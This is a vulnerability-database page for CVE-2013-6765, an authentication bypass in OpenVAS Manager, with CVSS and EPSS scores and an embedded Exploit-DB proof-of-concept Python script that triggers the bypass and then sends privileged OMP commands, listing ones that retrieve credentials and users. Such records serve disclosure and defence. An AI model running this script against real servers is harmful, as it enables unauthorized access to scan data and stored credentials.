CVE-2013-6765

CVE Descriptions

OpenVAS Manager 3.0 before 3.0.7 and 4.0 before 4.0.4 allows remote attackers to bypass the OMP authentication restrictions and execute OMP commands via a crafted OMP request for version information, which causes the state to be set to CLIENT_AUTHENTIC, as demonstrated by the omp_xml_handle_end_element function in omp.c.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-287	Improper Authentication When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	7.58%	–	–
2022-03-20	–	–	7.58%	–	–
2022-04-03	–	–	7.58%	–	–
2022-07-17	–	–	7.58%	–	–
2022-11-06	–	–	7.03%	–	–
2023-03-12	–	–	–	8.34%	–
2023-07-16	–	–	–	8.34%	–
2023-07-23	–	–	–	8.34%	–
2023-08-06	–	–	–	8.34%	–
2024-03-31	–	–	–	7.66%	–
2024-06-02	–	–	–	7.66%	–
2024-08-25	–	–	–	7.26%	–
2024-12-08	–	–	–	6.16%	–
2024-12-22	–	–	–	5.41%	–
2025-01-19	–	–	–	5.41%	–
2025-03-18	–	–	–	–	4.88%
2025-03-18	–	–	–	–	4.88,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	81%
2022-03-20	82%
2022-04-03	92%
2022-07-17	93%
2022-11-06	92%
2023-03-12	93%
2023-07-16	94%
2023-07-23	93%
2023-08-06	94%
2024-03-31	94%
2024-06-02	94%
2024-08-25	94%
2024-12-08	94%
2024-12-22	93%
2025-01-19	93%
2025-03-18	89%
2025-03-18	89%

Exploit information

Exploit Database EDB-ID : 34026

Publication date : 2014-07-09 22h00 +00:00
Author : EccE
EDB Verified : No

#!/usr/bin/python # Exploit Title: OpenVAS Manager 4.0 Authentication Bypass Vulnerability PoC # Date: 09/07/2014 # Exploit Author: EccE # Vendor Homepage: http://www.openvas.org/ # Software Link: http://wald.intevation.org/frs/?group_id=29 # Version: OpenVAS Manager 4.0 # Tested on: Debian GNU/Linux testing (jessie) # CVE : CVE-2013-6765 """ Small list of working commands get_agents get_configs get_alerts get_filters get_lsc_credentials get_notes get_nvts get_targets get_users get_schedules More commands (~70 commands) can be found directly in the omc.c file. Not all of them are working though. As designed in OMP protocol, commands must be sent this way : <COMMAND/> """ import socket, ssl s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Require a certificate from the server. We used a self-signed certificate # so here cacerts.pem must be the server certificate itself. ssl_sock = ssl.wrap_socket(s, ca_certs="/var/lib/openvas/CA/cacert.pem", cert_reqs=ssl.CERT_REQUIRED) # OpenVAS Manager listen by default on localhost tcp/9390 ssl_sock.connect(('localhost', 9390)) print "#################################################################" print "# Proof of Concept - OpenVAS Manager 4.0 Authentication Bypass #" print "#################################################################" print "\n" print "--> Retrieving version...(exploiting the bug !)\n" ssl_sock.write("<get_version/>") data = ssl_sock.read() print data print "\n" print "--> Retrieving slaves...\n" ssl_sock.write("<get_slaves/>") tasks = ssl_sock.read() print tasks print "\n" """ print "--> Creating note...\n" ssl_sock.write("<create_note/>") note = ssl_sock.read() print note print "--> Retrieving users list...\n" ssl_sock.write("<get_users/>") users_list = ssl_sock.read() print users_list """ ssl_sock.close()

Products Mentioned

Configuraton 0

Openvas>>Openvas_manager >> Version 4.0

Openvas>>Openvas_manager >> Version 4.0 (Open CPE detail)

Openvas>>Openvas_manager >> Version 4.0

Openvas>>Openvas_manager >> Version 4.0 (Open CPE detail)

Openvas>>Openvas_manager >> Version 4.0

Openvas>>Openvas_manager >> Version 4.0 (Open CPE detail)

Openvas>>Openvas_manager >> Version 4.0

Openvas>>Openvas_manager >> Version 4.0 (Open CPE detail)

Openvas>>Openvas_manager >> Version 4.0

Openvas>>Openvas_manager >> Version 4.0 (Open CPE detail)

Openvas>>Openvas_manager >> Version 4.0

Openvas>>Openvas_manager >> Version 4.0 (Open CPE detail)

Openvas>>Openvas_manager >> Version 4.0.0

Openvas>>Openvas_manager >> Version 4.0.0 (Open CPE detail)

Openvas>>Openvas_manager >> Version 4.0.1

Openvas>>Openvas_manager >> Version 4.0.1 (Open CPE detail)

Openvas>>Openvas_manager >> Version 4.0.2

Openvas>>Openvas_manager >> Version 4.0.2 (Open CPE detail)

Openvas>>Openvas_manager >> Version 4.0.3

Openvas>>Openvas_manager >> Version 4.0.3 (Open CPE detail)